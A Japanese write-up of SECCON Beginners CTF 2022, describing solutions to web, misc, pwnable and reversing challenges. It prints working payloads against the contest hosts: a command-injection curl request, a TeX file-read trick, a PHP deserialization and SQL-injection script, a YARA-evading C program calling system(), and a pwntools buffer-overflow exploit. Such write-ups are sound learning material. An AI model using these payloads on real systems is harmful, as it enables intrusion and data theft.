SECCON Beginners CTF 2022 Write-up

数年ぶりにCTFをやりたい気持ちになって、身内のSlackで「なんかやりたい」って言ったらいつの間にか参加が確定していた。

突然投げられたチーム登録用パスワード

Web

Util

pingを投げる対象にコマンドインジェクションできる部分があった。

   r.POST("/util/ping", func(c *gin.Context) {
        var param IP
        if err := c.Bind(&param); err != nil {
            c.JSON(400, gin.H{"message": "Invalid parameter"})
            return
        }

        commnd := "ping -c 1 -W 1 " + param.Address + " 1>&2"
        result, _ := exec.Command("sh", "-c", commnd).CombinedOutput()

        c.JSON(200, gin.H{
            "result": string(result),
        })
    })

ただ、これを受け取るフロントではIPアドレスらしき値以外はすべて弾く処理が入っていたので、curlあたりで雑にリクエストを投げ、終了。

$ curl 'https://util.quals.beginners.seccon.jp/util/ping' -H 'Content-Type: application/json' --data-raw '{"address":"127.0.0.1; cat /flag_A74FIBkN9sELAjOc.txt"}'
// => {"result":"PING 127.0.0.1 .......snip....... ctf4b{al1_0vers_4re_i1l}\n"}

textex

texを書くとpdfになって返ってくるサービスが与えられる。プログラムと同じディレクトリに flag.txt があるので、うまいことファイルを読み込むtexを書く必要がある、というお題。ただし、入力に flag という文字列を入れると問答無用でエラーになるのでこれを避ける必要がある。

texにはどうやらパッケージが存在するらしく、ファイルを読み込むものも存在した。verbatim というものを使用する。また、直接 flag の文字列を含めることはできないため、newcommandを使用しマクロを宣言する。マクロ側で fl を用意し、呼び出し側で ag を用意した。

\documentclass{article}
\usepackage{verbatim}
\newcommand{\naari}[1]{{\verbatiminput{fl#1}}}
\begin{document}

\naari{ag}

\end{document}

serial

コードを見ると、唯一 Database->findUserByNameSQL Injectionが存在する。

$sql = "SELECT id, name, password_hash FROM users WHERE name = '" . $user->name . "' LIMIT 1";

これは user.phplogin から使用されており、cookiesの __CRED をそのまま User として unserialize している。なので、cookieとして与えたシリアライズ済みUserのnameでSQL Injectionを行うことになる。

phpシリアライズの形式はこんな感じで、おそらく {keyの種類:文字数:値;valueの種類:文字数:値;(繰り返し)} という形式を取っている。この場合、root は4文字なので s:4 となっているのが確認できる。

'O:4:"User":3:{s:2:"id";s:2:"52";s:4:"name";s:4:"root";s:13:"password_hash";s:60:"$2y$10$Cd.CWxHXK/F4Id1vxufihuAuEn7MHigR7XBPwy/WNn02X898tJlzu";}'

これに気をつけて、こんな感じのリクエストを作成して投げる。

import requests
import base64

username = "root' UNION SELECT 52, body, '$2y$10$Cd.CWxHXK/F4Id1vxufihuAuEn7MHigR7XBPwy/WNn02X898tJlzu' FROM flags -- #"

cred = 'O:4:"User":3:{s:2:"id";s:2:"52";s:4:"name";s:' + str(len(username)) + ':"' + username + \
    '";s:13:"password_hash";s:60:"$2y$10$Cd.CWxHXK/F4Id1vxufihuAuEn7MHigR7XBPwy/WNn02X898tJlzu";}'

cookies = {
    "__CRED": base64.b64encode(cred.encode()).decode()
}
res = requests.get(
    'https://serial.quals.beginners.seccon.jp/', cookies=cookies)
set_cookie = res.headers.get("Set-Cookie")

print(base64.b64decode(set_cookie.split("=")[1].replace("%3D", "=")))
b'O:4:"User":3:{s:2:"id";s:2:"52";s:4:"name";s:43:"ctf4b{Ser14liz4t10n_15_v1rtually_pl41ntext}";s:13:"password_hash";s:60:"$2y$10$Cd.CWxHXK/F4Id1vxufihuAuEn7MHigR7XBPwy/WNn02X898tJlzu";}'

User のコンストラクタでSQLで使われるような文字列が弾かれていたが、unserialize の際にはコンストラクタを通らないので大丈夫だった。

misc

phisher

渡された文字列を画像化したあと、OCRに通して www.example.com に完全一致する文字列を返す必要がある。ただし、www.example.com という文字列を使ってはいけない、という、いわゆるホモグラフ攻撃を機械に対して行う問題。

ソースコードは渡されており、Murecho-Black というフォントが使われていた。途中まではWikipediaとかのページを見て似た文字がないかを探し、結果に一喜一憂していたが、フォントが対応していない文字にあたると壊れてしまうので時間を要していた。途中でチームメンバーが Murecho-Black 自体が対応している文字一覧を見ることができる、というのを教えてくれたので、以降はそれを見ながら似ている文字をひとつずつ入力した。. が一番難しかった。

$ echo "ŵŵŵ․е×аᴍрІе․ᴄоᴍ" | nc phisher.quals.beginners.seccon.jp 44322
       _     _     _                  ____    __
 _ __ | |__ (_)___| |__   ___ _ __   / /\ \  / /
| '_ \| '_ \| / __| '_ \ / _ \ '__| / /  \ \/ /
| |_) | | | | \__ \ | | |  __/ |    \ \  / /\ \
| .__/|_| |_|_|___/_| |_|\___|_|     \_\/_/  \_\
|_|

FQDN: ctf4b{n16h7_ph15h1n6_15_600d}

ultra_super_miracle_validator

C言語ソースコードを渡すとコンパイルして実行してくれるサービスがあるが、実行される条件としてコンパイルされた結果がyaraというもので書かれたルールのフィルターに通る必要がある、という問題。

手元で実行できるようにしたあと、ルールに対して真剣に向き合う必要があることがわかった。ルールの conditionいい感じに改行しこんな感じのなんちゃってパーサーにかけてやって、巨大なルールを複数のルールに分解した

つまり、それぞれのルールを満たすよう、ソースコード中に様々な文字列を書く必要がある。ただし、not (not $string) というルールを踏まないようにする。ルールを分解したおかげでデバッグが容易だった。

最終的にこんな感じのソースになった。

// 見やすさのために改行してあるが、本来は一行である必要がある。一行にまとめる関係でstdioなどは使えなかった。
extern int printf(const char *format, ...);
int main()
{
    printf("1:らせん階段 3:廃墟の街 4:イチジクのタルト 6:特異点 8:天使 9:紫陽花 14:\x83\x43\x83\x60\x83\x57\x83\x4e\x82\xcc\x83\x5e\x83\x8b\x83\x67 26:\x72\x79\x75\x70\x70\xb9 30:\x79\xd8\x5b\xc6\x30\x6e\x76\x87\x5e\x1d 33:+XsM-+WJ8-+MG4-+ 34:+MKQ-+MME-+MLg-+MK8-+MG4-+ML8-+M 35:+MMk-+MO0-+MO0-+MPw-+MLU-+MHg-+M 36:+cnk-+dXA-+c 37:+MLg-+MOc-+MMM-+ 39:+fSs-+ln0-+g\n");
    return 0;
}

最後に system("ls")system("cat flag.txt") を追記し、実行。

$ nc ultra-super-miracle-validator.quals.beginners.seccon.jp 5000
source:
extern int printf(const char *format, ...); int main() { system("cat flag.txt"); printf("1:らせん階段 3:廃墟の街 4:イチジクのタルト 6:特異点 8:天使 9:紫陽花 14:\x83\x43\x83\x60\x83\x57\x83\x4e\x82\xcc\x83\x5e\x83\x8b\x83\x67 26:\x72\x79\x75\x70\x70\xb9 30:\x79\xd8\x5b\xc6\x30\x6e\x76\x87\x5e\x1d 33:+XsM-+WJ8-+MG4-+ 34:+MKQ-+MME-+MLg-+MK8-+MG4-+ML8-+M 35:+MMk-+MO0-+MO0-+MPw-+MLU-+MHg-+M 36:+cnk-+dXA-+c 37:+MLg-+MOc-+MMM-+ 39:+fSs-+ln0-+g\n"); return 0; }
ctf4b{SAT_Solver_c4n_50lv3_54t15f1461l1ty_pr06l3m5}
1:らせん階段 3:廃墟の街 4:イチジクのタルト 6:特異点 8:天使 9:紫陽花 14:�C�`�W�N�̃^���g 26:ryupp� 30:y�[�0nv�^ 33:+XsM-+WJ8-+MG4-+ 34:+MKQ-+MME-+MLg-+MK8-+MG4-+ML8-+M 35:+MMk-+MO0-+MO0-+MPw-+MLU-+MHg-+M 36:+cnk-+dXA-+c 37:+MLg-+MOc-+MMM-+ 39:+fSs-+ln0-+g
Not matched. Have Fun!

pwnable

BeginnersBof

基本的なBof問題。フラグを吐き出すための関数は既に存在しているため、rbpをその関数の位置に置き換えることでどうにかなった。

from pwn import *

ARCH = "amd64"
FILE = "./chall"
LIBC = ""
HOST = "beginnersbof.quals.beginners.seccon.jp"
PORT = 9000


def exploit(con, elf, libc, rop):
    flag_symbol = elf.symbols[b"win"]
    log.info("flag symbol: {}".format(hex(flag_symbol)))

    log.info(rop.dump())
    offset = 40
    payload = b"A" * offset
    payload += pack(flag_symbol)
    log.info("payload: {}".format(payload))
    con.sendline(str(len(payload)).encode())
    con.sendline(payload)


def main():
    context(arch=ARCH, os="linux")

    if args["REMOTE"]:
        con = remote(HOST, PORT)
    else:
        con = process([FILE])

    elf = ELF(FILE)
    if LIBC != "":
        libc = ELF(LIBC)
    else:
        libc = ""
    rop = ROP(elf)
    exploit(con, elf, libc, rop)
    con.interactive()


if __name__ == "__main__":
    main()

reversing

Quiz

最後のクイズでフラグを尋ねられるが、その一つ前のクイズで strings の話をしてくれる。strings をかけると出てくる。

$ strings quiz | grep ctf4b
ctf4b{w0w_d1d_y0u_ca7ch_7h3_fl4g_1n_0n3_sh07?}

WinTLS

Windows問題。TLSってTransport Layer Securityか!?とか思ったら違った。Thread Local Storageだった。

動的なことはしておらず、Ghidraを噛ませたあと、TlsSetValue を呼んでいる箇所を発見した。こんな感じのコードが書いてあった。param_1はユーザー入力で、こういう処理を加えた acStack280 と c4{fAPu8#FHh2+0cyo8$SWJH3a8X を比較していた。

// ちょっとだけ読みやすくした。
while ((i < 0x100 && (c = *(char *)(param_1 + i), c != '\0'))) {
    if ((i % 3 != 0) && (i % 5 != 0)) {
        acStack280[j] = c;
        j++;
    }
    i++;
}
check(acStack280);

こういうのもあった。こちらは acStack280 と tfb%s$T9NvFyroLh@89a9yoC3rPy&3b} を比較していた。

while ((i < 0x100 && (c = *(char *)(param_1 + i), c != '\0'))) {
    if ((i % 3 == 0) || (i % 5 == 0)) {
        acStack280[j] = c;
        j++;
    }
    i++;
}
check(acStack280);

戻すためのコードを雑に書いて、ポストしたら合ってた。

a = "c4{fAPu8#FHh2+0cyo8$SWJH3a8X"
b = "tfb%s$T9NvFyroLh@89a9yoC3rPy&3b}"
s = list(" " * 400)
j = 0
for i in range(0, 200):
    if j >= len(a):
        break
    r = (i % 3 == 0) or (i % 5 == 0)
    if r:
        s[i] = a[j]
        print(i, j)
        j += 1

j = 0
for i in range(0, 200):
    if j >= len(b):
        break
    r = (i % 3 != 0) and (i % 5 != 0)
    if r:
        s[i] = b[j]
        print(i, j)
        j += 1

print("".join(s))
ctf4b{f%sAP$uT98Nv#FFHyrh2o+Lh0@8c9yoa98$ySoCW3rJPH3y&a83Xb}

感想

数年ぶりだったこともあって、特にpwnは何も覚えておらず、一問しか解けなかった。ROPすらできなくなっていた。web問最後も今冷静になってみてみれば解けそうだった。もう少し頑張っていきたい所存。悔しい。

ただチームの成績的には過去一番良かったらしい。でも、もっと上げられたはず。悔しい。